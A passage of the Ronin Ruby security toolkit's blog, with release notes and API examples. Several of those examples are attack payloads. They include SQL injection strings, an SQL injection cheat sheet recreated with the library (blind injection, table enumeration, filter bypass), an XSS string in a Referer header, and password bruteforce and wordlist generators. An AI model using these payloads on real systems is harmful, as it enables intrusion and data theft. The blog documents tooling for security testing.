# => #<URI::HTTP:0x00000000f94188 URL:http://www.google.com/search?q=parsing+URIs+is+hard%2C+let%27s+go+shopping&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:unofficial&client=firefox-a>

Query Params

Although, the URI library does not parse the parameters within the query string. Ronin, like other modern Ruby projects, depends on many other smaller RubyGems for functionality; also so you don't have to install and require them by hand. One such RubyGem is uri-query_params, which allows you to access the parameters within the query string of any URI::HTTP (or URI::HTTPS) object:

uri.query_params['q']
# => "parsing+URIs+is+hard,+let's+go+shopping"
pp uri.query_params
# {"q"=>"parsing+URIs+is+hard,+let's+go+shopping",
#  "ie"=>"utf-8",
#  "oe"=>"utf-8",
#  "aq"=>"t",
#  "rls"=>"org.mozilla:en-US:unofficial",
#  "client"=>"firefox-a"}
# => {"q"=>"parsing+URIs+is+hard,+let's+go+shopping", "ie"=>"utf-8", "oe"=>"utf-8", "aq"=>"t", "rls"=>"org.mozilla:en-US:unofficial", "client"=>"firefox-a"}

Additionally, you can parse/dump individual query strings:

URI::QueryParams.parse("q=1&x=2")
# => {"q" => "1", "x" => "2"}
URI::QueryParams.dump(:q => 1, :x => 2)
# => "q=1&x=2"

The URI::QueryParams.dump method is also used by HTTP helper methods for the :query_params option:

http_get(:host => 'example.com', :path => '/page.php', :query_params => {'id' => "1 OR 1=1"})

Non-standard URIs

There are URIs that Ruby has trouble parsing, such as so called punycode domains. Not to worry, Ronin also requires the addressable RubyGem, a URI parsing library on steroids:

uri = Addressable::URI.parse("http://www.詹姆斯.com/?q=1")
# => #<Addressable::URI:0xb525d4 URI:http://www.詹姆斯.com/?q=1>
uri.normalize
# => #<Addressable::URI:0xb57bec URI:http://www.xn--8ws00zhy3a.com/?q=1>

With Ronin, parsing URIs is easy.

Ronin is now on Reddit

Wed Mar 14 00:00:00 -0700 2012

Thanks to user suggestion, Ronin is now on Reddit (with 35 readers so far)!

Send us your links, questions or tips for Ronin or other Ruby hacking.

Ronin 1.4.0 released

Fri Feb 17 00:00:00 -0800 2012

After many months of development and release candidates I am pleased to announce that ronin-support 0.4.0, ronin 1.4.0 and ronin-gen 1.1.0 have been released.

gem update ronin-support ronin ronin-gen

So what's new?

ronin-support 0.4.0

Common Regular Expressions

Many common and useful Regular Expressions constants were added to the Regexp class.

"Please see C:\\Documents\\plans.docx".scan(Regexp::ABSOLUTE_WINDOWS_PATH)
# => ["C:\\Documents\\plans.docx"]

New String methods

String#repeating was added which allows creating multiple repeating Strings:

'A'.repeating((100..700).step(100)) { |str| puts str }

String#sql_inject was also added, allowing for easy formatting of SQL injections:

"'1' OR 1=1".sql_inject(:terminate => true)
# => "1' OR 1=1 --"

Base64 formatting

String#base64_encode and String#base64_decode now accept formatting arguments:

("A" * 256).base64_encode(:strict)
# => "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQ=="

"hello world".base64_encode(:url)
# => "aGVsbG8gd29ybGQ="

These base64 formats are similar to the new methods added to the Base64 module in Ruby 1.9.

ronin/fuzzing

All fuzzing methods were moved into ronin/fuzzing and the Ronin::Fuzzing namespace. Ronin::Fuzzing was added which contains fuzzing generator methods, which generate various types of malicious data. These methods can be called directly ...

Fuzzing.format_strings { |fmt| puts fmt }

... or accessed as Enumerators:

Fuzzing[:bad_strings]
# => #<Enumerator: Ronin::Fuzzing:bad_strings>

The fuzzing generator methods can also be used with String#fuzz:

"GET /sign_in".fuzz(:unix_path => :bad_paths) { |str| p str }

String#mutate was also added to ronin/fuzzing, which allows for the incremental mutating of a String, given patterns and substitutions.

"hello old dog".mutate('e' => ['3'], 'l' => ['1'], 'o' => ['0']) { |str| puts str }

New Wordlist class

Ronin::Wordlist is a class for building and working with wordlists.

Use an existing Wordlist file:

wordlist = Wordlist.new('passwords.txt')
wordlist.each { |word| puts word }

Expand a Wordlist with mutation rules:

wordlist = Wordlist.new('passwords.txt', /e/ => ['E', '3'], /a/ => ['@'])
wordlist.each { |word| puts word }

Build a Wordlist from arbitrary text:

wordlist = Wordlist.build(text)
wordlist.each_n_words(3) { |words| puts words }

Network modules

As of ronin-support 0.4.0 all Net convenience methods have been moved into their respective modules in the Network namespace. One can add the Network convenience methods to any Class/Module by simply including a Network module:

require 'ronin/network/http'

class WordpressFingerprinter

  include Ronin::Network::HTTP

  attr_accessor :host

  PATH = '/wp-includes/js/tinymce/tiny_mce.js'

  # @see http://tools.sucuri.net/?page=docs&title=fingerprinting-web-apps
  VERSIONS = {
    'a306a72ce0f250e5f67132dc6bcb2ccb' => '2.0',
    '4f04728cb4631a553c4266c14b9846aa' => '2.1',
    '25e1e78d5b0c221e98e14c6e8c62084f' => '2.2',
    '83c83d0f0a71bd57c320d93e59991c53' => '2.3',
    '7293453cf0ff5a9a4cfe8cebd5b5a71a' => '2.5',
    '61740709537bd19fb6e03b7e11eb8812' => '2.6',
    'e6bbc53a727f3af003af272fd229b0b2' => '2.7',
    'e6bbc53a727f3af003af272fd229b0b2' => '2.7.1',
    '128e75ed19d49a94a771586bf83265ec' => '2.9.1'
  }

  def version
    VERSIONS[http_get_body(:host => @host, :path => PATH).md5]
  end

end

Additionally, all Network modules are included into the Ronin::Support and Ronin namespaces, so no more having to type "Net.":

>> tcp_banner 'smtp.gmail.com', 25
=> "220 mx.google.com ESMTP g3sm14650755pbt.41"

Network::DNS

Network::DNS was added, which provides simple DNS methods for Ronin.

dns_lookup 'google.com'
# => "74.125.224.65"

dns_lookup_all 'google.com'
# => ["74.125.224.128", "74.125.224.131", "74.125.224.130", "74.125.224.136", "74.125.224.132", "74.125.224.129", "74.125.224.142", "74.125.224.133", "74.125.224.137", "74.125.224.134", "74.125.224.135"]

dns_reverse_lookup '74.125.224.65'
# => "nuq04s07-in-f1.1e100.net"

New Network Mixins

Network::Mixins::DNS and Network::Mixins::SSL were also added.

ronin 1.4.0

Refactored Ronin::UI::CLI::Command

In ronin 1.4.0 Ronin::UI::CLI::Command (the base-class for all CLI commands) was refactored to no longer use the Thor library. Now the Command class uses Parameters::Options, which combines the Parameters library with Ruby's builtin OptionParser module.

What resulted from this refactoring was cleaner option syntax and better --help output. Take for example the [Wordlist] command:

class Wordlist < Command
    
  summary 'Builds and/or mutates Wordlists'

  option :input, :type        => String,
                 :flag        => '-i',
                 :usage       => 'FILE',
                 :description => 'Input file'

  option :output, :type        => String,
                  :flag        => '-o',
                  :usage       => 'PATH',
                  :description => 'Output wordlist file'

  option :mutations, :type         => Hash[String => Array],
                     :default      => {},
                     :flag         => '-m',
                     :usage        => 'STRING:SUB',
                     :descriptions => 'Mutations rules'

  argument :template, :type        => Array,
                      :description => 'Options word template'

  def execute
    # ...
  end

end

Which produces the following --help output:

Usage: ronin wordlist [options] TEMPLATE

Options:
    -v, --[no-]verbose               Enable verbose output.
    -q, --[no-]quiet                 Disable verbose output.
        --[no-]silent                Silence all output.
        --[no-]color                 Enables color output.
    -i, --input [FILE]               Input file.
    -o, --output [PATH]              Output wordlist file.
    -m, --mutations [STRING:SUB]     Default: {}

Arguments:
    TEMPLATE                         Options word template

Builds and/or mutates Wordlists

It really is that easy to write your own Ronin commands.

Old commands, new again

The ronin install, update and uninstall commands have been brought back in 1.4.0.

$ ronin install https://github.com/user/repo.git

The ronin repos command now only lists installed Repositories.

Ronin Console .commands

After playing with Node.js, I liked how node console commands were prefixed with a . character (ex: .load). The .command syntax also does not conflict with Ruby's syntax. In 1.4.0 all !commands can also be called as .commands in the Ronin Console:

>> .edit myscript.rb
=> true
>> .ping www.google.com
...

ronin-gen 1.1.0

Ronin::Gen::Generator refactored

In ronin-gen 1.1.0, Ronin::Gen::Generator (the base-class of all generators) was also refactored to no longer use the Thor library. Instead, all Generators use the Parameters library with Ruby's builtin FileUtils module. This change lowers the barrier for writing custom Ronin Generators.

For an example of the new Generator syntax, please see the Repository generator class.

Improved ronin-gen command

The ronin-gen command now uses Parameters::Options to directly parse options for the selected Generator. This also improved the --help output for all Generators:

$ ronin-gen repository --help
ronin-gen repository PATH [options]
        --path [PATH]                The destination path.
        --title [TITLE]
        --uri [URI]
        --source [SOURCE]
        --website [WEBSITE]
        --license [LICENSE]          Default: "CC-by"
        --description [DESCRIPTION]  Default: "This is a Ronin Repository"
        --authors [AUTHORS [...]]    Default: []
        --[no-]tests
        --[no-]docs
        --[no-]svn                   Create a SVN repository.
        --[no-]git                   Create a Git repository.
        --[no-]hg                    Create a Hg repository.

Generate SVN, Git, Hg Repositories

The Repository generator now supports generating SVN, Git and Hg repositories:

$ ronin-gen repository myrepo --title "My Repository" --hg

Ronin Internals Webcast

Fri Nov 04 00:00:00 -0700 2011

This Saturday (Nov. 5th) we will be giving a webcast on the internals of ronin-support, ronin, ronin-exploits and ronin-scanners. The topics that we will cover are:

Convenience methods in action
Using the Ronin Database
Ronin Repositories Explained
Ronin Exploits and Payloads
Ronin WebAttacks (LFI, RFI, SQLi)
Ronin PostExploitation API
Ronin Scanners

This webcast will take place from 16:00 PDT to 20:00 PDT. All Ronin webcasts are free and requires no registration. Just go to yuuguu.com/share and join the conference-call at 1-415-363-0849, using the PIN 272335 for both.

This is the first time that we have done a Ronin webcast, and was a spur of the moment decision. We will probably be doing more webcasts in the future, so don't worry if you missed the first one. ;)

Update: The last 3rd of the webcast was recorded, although the audio quality is not the best.

ronin-support 0.3.0 and ronin 1.3.0 released

Sun Oct 16 00:00:00 -0700 2011

After roughly three months, new versions of ronin-support and ronin have been released!

Upgrade

$ gem update ronin

Easier Text Processing

File.each_line and File.each_row were added to help with processing large text-files:

File.each_line("wordlist.txt") do |word| 
  puts word
end

File.each_row("users_dump.txt", ',') do |user,pass|
  # ...
end

Builtin Regexps

Some common and useful Regular Expressions were added to ronin-support:

Regexp::MAC
Regexp::IPv4, Regexp::IPv6, Regexp::IP
Regexp::HOST_NAME
Regexp::USER_NAME
Regexp::EMAIL_ADDR

Bruteforcing and Fuzzing

String.generate was added to assist in enumerating over every possible String, based on a format template. This method is especially useful for bruteforcing passwords or directories. The following code enumerates through every password starting with five alpha characters and ending in one to three numeric characters:

String.generate([:alpha, 5], [:numeric, 1..3]) do |password|
  puts password
end

String#fuzz was added to assist in fuzzing Strings. This method will find all occurrences of a sub-string or regular expression, and replace each one with one or more substitutions. The following code replaces every occurrence of a number with 1 to 100 9 characters:

"[1,2,3]".fuzz(/\d+/ => String.generate(['9', 1..100])) do |str|
  puts str
end

Easier DNS Queries

Sometimes you need to query a specific DNS server, and bypass /etc/hosts. Now you can, using any of the lookup methods:

ip = IPAddr.new("209.20.85.251")
ip.lookup("4.2.2.1")
# => [#<Resolv::DNS::Name: 209-20-85-251.slicehost.net.>]

URI::HTTP Convenience Methods

Net.http_* convenience methods were added to URI::HTTP, for quicker access:

url = URI("http://www.vannin.com/robots.txt")

url.ok?
# => true

url.server
# => "Apache"

url.get
# => #<Net::HTTPOK 200 OK readbody=true>

url.get(:headers => {:referer => "><script>alert('XSS');</script>"})
# => #<Net::HTTPOK 200 OK readbody=true>

Ronin::UI Moves

Ronin::UI::Output was moved out of ronin and down into ronin-support. Now developers can use print_info, print_warning print_error methods from ronin-support:

require 'ronin/ui/output'
include Ronin::UI::Output::Helpers
    
print_info  "Hello"
print_error "Danger!"

Ronin::UI::Shell was also moved into ronin-support and refactored. Ronin::UI::Shell is now a Class, where commands can be defined as protected methods:

require 'ronin/ui/shell'

class PwnShell < Ronin::UI::Shell

  protected

  def scan(target)
    IPAddr.each(target) do |ip|
      begin
        print_info "%s:\t%s", ip, Net.http_server(:host => ip)
      rescue
      end
    end
  end

  def dirbust(target,*words)
    Net.http_session(:host => target) do |http|
      words.each do |word|
        path = "/#{word}"

        if http.get(path).code == "200"
          print_info "Found http://#{target}#{path} ..."
        end
      end
    end
  end

end

PwnShell.start

> help
Available commands:

  dirbust target [words]
  exit 
  help 
  quit 
  scan target

Extract and Import Methods

extract and import methods were added to MACAddress, IPAddress, HostName, URL and EmailAddress. extract can parse large amounts of text and extract Resources from it:

HostName.extract(text) { |host| puts host }

import reads every line of a file and saves extracted Resources into the Database:

IPAddress.import("ips.txt") { |ip| puts ip }

Inline Commands and Tab-Completion

The Ronin Console received some significant improvements in 1.3.0.

Inline Commands were added to the Ronin Console, allowing you to quickly execute system commands. Simply prefix the command to run with a !:

>> "olleh".reverse
# => "hello"
>> !ncat github.com 80
GET /
<html>
<head><title>301 Moved Permanently</title></head>
<body bgcolor="white">
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx/1.0.4</center>
</body>
</html>

New Tab Completion rules were also added, allowing you to tab-complete data in the Database and more:

Ronin::IPAddresses:

>> "192.168.<TAB><TAB>
192.168.1.1
192.168.1.52

Ronin::HostNames:

>> "www.ex<TAB><TAB>
www.example.com
www.exploit-db.com

Ronin::URLs:

>> "http://www.victim.com/<TAB><TAB>
http://www.victim.com/index.php
http://www.victim.com/page.php?id=1
http://www.victim.com/page.php?id=2
http://www.victim.com/page.php?id=3

Ronin::EmailAddresses:

>> "alice@e<TAB><TAB>
alice@evil.com
alice@example.com

Local files / directories:

>> File.read("dump.<TAB><TAB>
dump.txt
dump.csv

Inline Commands:
```
>> !nc<TAB><TAB>
!nc
!ncat
!ncftp
```

Website Redesigned

Sun Sep 25 00:00:00 -0700 2011

It has been a while since the Ronin website saw major changes. I finally got around to doing a minor redesign, with the goals of maximizing screen real estate and better organization of content. Here are the major changes.

SVGs FTW

The first thing you will notice is the improved logo. I converted the original PNG logo (created with Gimp!) into a Scalable Vector Graphic (SVG) using Inkscape. The menu was also recreated as a SVG, complete with embedded links for the menu items.

Now the website should properly scale without pixelation. The SVGs should render correctly in:

Firefox >= 4
Chrome >= 11
IE 9

Opera has known issues with rendering inline SVGs. It goes without saying, the website will not render correctly in IE 6. :)

Blueprint CSS

I also added Blueprint CSS to the website, which should fix any cross-browser CSS bugs and improve Typography. Blueprint also assumes the maximum page width of 960 pixels, which allows for more content to be displayed.

Page Moves

Finally, the content was regrouped into four main sections:

blog - Project Blog.
faq - Frequently Asked Questions.
docs - Information for Users.
code - Ronin repositories on GitHub.

Not to worry, the sitemap was updated and JavaScript redirects were added to the old pages.

Bugs

If the site is not rendering correctly for you, or maybe you found a typo, you can submit a bug or fork/edit the site on GitHub.

Ronin 1.0.0 prerelease

Thu Dec 30 00:00:00 -0800 2010

After more than a year of development, refactoring and new features, Ronin 1.0.0.pre1 has been released:

$ gem install ronin --pre

Since this is a prerelease, QA testing and bug reports would be much appreciated. As bug-fixes stack up, we will release additional prereleases for testing. Once the code stabilizes, Release Candidates (RCs) will be released.

Instead of trying to release everything at once, we are following a staggered Release Schedule split into in three phases. This allows us to get the core libraries (ronin-support, ronin and ronin-gen) immediately to users.

New API Documentation

Wed Sep 01 00:00:00 -0700 2010

If you have not heard yet, lsegal and zapnap have rolled out the new rubydoc.info running YARD 0.6.0.

Not only does rubydoc.info look sharp, but it can build YARD documentation for both RubyGems released to rubygems.org or GitHub repositories being actively developed.

We immediately leveraged rubydoc.info by making sure all Ronin repositories had post-receive hooks to update their YARD documentation. Now users can browse API documentation for both Ronin (Edge) and previous releases of Ronin.

Checkout the new API documentation links in the docs section.

Installing Ronin (Edge) Guide

Thu Aug 19 00:00:00 -0700 2010

We just released a new tutorial, aimed at developers and users who want to run the latest changes made to Ronin.

The Guide also touches on using the Ruby Version Manager (RVM) to install Ruby and using Gem Bundler to install the dependencies of Ronin. Together, RVM and Gem Bundler, allows you to easily run the edge version of Ronin right out of your home directory!

New Site

Mon Feb 22 00:00:00 -0800 2010

As listed in the Spring Cleaning Campaign (2010), a new website has been designed for Ronin. The new site is Jekyll based and hosted on GitHub.

Much of the website is written in Markdown, which makes writting new content a breeze. As always, we accept edits to the site, simply fork the site, commit your changes and send one of the Ronin developers a pull-request.

You'll probably notice that we also added a few new sections to the site. The front page now shows three random examples pulled from the Examples section, illustrating some of the things Ronin can do in a few lines. One can even subscribe to an Atom feed of the Examples, to get the latest tricks.

The Downloads link in the menu now points to an actual downloads page, containing links to .tar.gz, .zip and .gem files of Ronin.

Lastly, Ronin now has a Developer Blog with DISQUS powered comments.

RSnakes SQLi Cheat Sheet using Ronin SQL

Fri Feb 05 00:00:00 -0800 2010

One of the planned features listed in the Spring Cleaning Campaign (2010) was a simple Ruby->SQL encoder for the Ronin SQL library, to replace the overly complex Ronin SQL DSL. This encoder would format Ruby Integers, Strings, Arrays and Hashes into fragments of proper SQL.

The Ruby->SQL encoder has gotten to the point of being able to recreate most of the examples from RSnake's SQL Injection Cheat Sheet:

Load ronin/code/sql:

require 'ronin/code/sql' 
include Ronin

sql = Code.sql

Normal SQL Injection:

sql[1, :or, 1, :eq, 1].to_sql
# => "1 or 1 = 1"

Normal SQL Injection using encapsulated data:

sql['1', :or '1', :eq, '1'].to_sql
# => "'1' or '1' = '1'"

Blind SQL Injection creating an error using EXEC:

sql[1, :exec, :sp_, [sql[:or, :exec, :xp_]]].to_sql
# => "1 exec sp_ (or exec xp_)"

Blind SQL Injection detection:

sql[1, :and, 1, :eq, 1].to_sql
# => "1 and 1 = 1"

Blind SQL Injection to attempt to locate table_name by brute-force iteration through table name permutations:

sql['1', :and, 1, :eq, [sql[:select, sql.count(:all), :from, :table_name]]].to_sql
# => "'1' and 1 = (select count(*) from tablenames)"

Using the USER_NAME() function in SQL Server to tell us if the user is running as the administrator:

sql[1, :and, sql.user_name(), :eq, 'dbo'].to_sql
# => "1 and user_name() = 'dbo'"

Creating errors by calling non-existant tables:

sql[1, :and, :non_existant_table, :eq, '1'].to_sql
# => "1 and non_existant_table = '1'"

Dumping usernames:

sql[:or, :username, :is, :not, nil, :or, :username, :eq].to_sql
# => "or username is not null or username ="

Enumerating through database table names:

sql[1, :and, sql.ascii(
  sql.lower(
    sql.substring(
      [sql[:select, :top, 1, :name, :from, :sysObjects, :where, :xtype, :eq, 'U']], 1, 1
    )
  )
), :gt, 116].to_sql
# => "1 and ascii(lower(substring((select top 1 name from sysobjects where xtype = 'U'),1,1))) > 116"

Finding user supplied tables using the sysObjects table in SQL Server:

sql[1, :union, :all, :select, [1,2,3,4,5,6,:name], :from, :sysObjects, :where, :xtype, :eq, 'U'].to_sql
# => "1 union * select (1,2,3,4,5,6,name) from sysObjects where xtype = 'U'"

Bypassing filter using /**/ instead of spaces:

stmt = sql[1, :union, :select, :all, :from, :where]
stmt.to_sql
# => "1 union select * from where"

stmt.to_sql(:spaces => false)
# => "1/**/union/**/select/**/*/**/from/**/where"

I cheated a little by leaving off the prefix/suffix tick-marks used in SQL injections, but you get the general idea.

New SQL fragments are created using the sql[...] syntax, and new SQL function calls are created with sql.func_name. Note, that you can nest SQL fragments by using the [sql[...]] or [sql.func_name(....)] syntax.

Introducing ronin-support

Thu Feb 04 00:00:00 -0800 2010

One of the things that recently came up during the Spring Cleaning Campaign (2010) was that the ronin repository had become heavy with convenience methods. So it was decided to split the convenience methods out of the ronin repository, and create a new Ronin library just for support code.

Introducing ronin-support, a support library for Ronin. ronin-support contains many of the convenience methods used by Ronin and additional libraries. The ronin-support library also allows other projects to leverage Ronin convenience methods, without needing the other dependencies of Ronin.

Official GitHub Account

Fri Jan 29 00:00:00 -0800 2010

While working on the Spring Cleaning Campaign (2010), I noticed that Ronin had grown to 12 repositories. Being such a large and established project, I realized it was high time to create an official GitHub account to host the Ronin repositories.

From now on, the source for all Ronin repositories is github.com/ronin-ruby.

Spring Cleaning

Tue Jan 12 00:00:00 -0800 2010

During the end of 2009 I ended up taking a break from working on Ronin, and shifted my efforts to other projects. Once 2009 came to a slow grinding halt and made way for 2010, I decided to come back to Ronin and not let it fall into disrepair. I and other Ronin developers compiled a list of the radical changes we felt were necessary, in order to keep Ronin relevant. Thus the Spring Cleaning Campaign of 2010 was started.